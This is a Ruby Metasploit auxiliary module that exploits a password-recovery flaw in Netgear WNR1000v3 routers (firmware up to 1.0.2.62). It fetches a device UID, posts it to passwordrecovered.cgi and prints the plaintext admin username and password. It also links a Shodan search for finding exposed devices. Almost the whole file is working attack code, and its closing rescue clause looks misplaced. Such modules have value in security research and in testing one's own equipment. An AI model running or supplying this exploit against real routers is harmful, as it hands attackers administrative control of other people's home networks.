#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
# Exploit Title: Netgear WNR1000v3 Password Recovery Credential Disclosure Vulnerability
# Date: 7-5-14
# Exploit Author: c1ph04
# Vendor Homepage: http://www.netgear.com/
# Version: 1.0
# Tested on: Netgear WNR1000v3 Router Version: <= 1.0.2.62_60.0.87
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'Netgear WNR1000v3 Password Extractor',
'Description' => %q{
This module exploits a vulnerability in the password recovery feature of certain Netgear WNR1000v3 routers.
Affected devices will allow retrieval of the plaintext administrator credentials.
Vulnerable Versions: <= 1.0.2.62_60.0.87
},
'References' =>
[
[ 'URL', 'http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html' ],
[ 'URL', 'http://packetstormsecurity.com/files/124759/NETGEAR-WNR1000v3-Password-Disclosure.html' ],
[ 'URL', 'http://secunia.com/community/advisories/56330' ],
[ 'URL', 'http://www.shodanhq.com/search?q=WNR1000v3' ]
],
'Author' =>
[
'c1ph04 <c1ph04mail[at]gmail.com>' # aka - "Ms. Difrank"...idiots
],
'License' => MSF_LICENSE
)
end
def run
print_status("#{rhost}:#{rport} - Attempting to extract credentials...")
begin
res = send_request_raw({
'uri' => '/',
'method' => 'GET'
})
if (res.body =~ /(id)/)
uid = res.body.scan(/\d{5,15}/)
uid = uid[0]
print_good("#{rhost}:#{rport} - UID Retrieved: #{uid}")
print_good("#{rhost}:#{rport} - Sending Request...")
else
print_error("Unexpected response...is this a Netgear Router?")
return
end
res2 = send_request_raw({
'uri' => "/passwordrecovered.cgi?id=#{uid}",
'method' => 'POST'
})
if (res2.body =~ /(successfully)/)
creds = res2.body.scan(/left">(.*)</)
user = creds[0]
pass = creds[1]
print_good("#{rhost}:#{rport} - Username: #{user}")
print_good("#{rhost}:#{rport} - Password: #{pass}")
else
print_error("#{rhost}:#{rport} - Failed: Target Not Vulnerable")
end
end
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
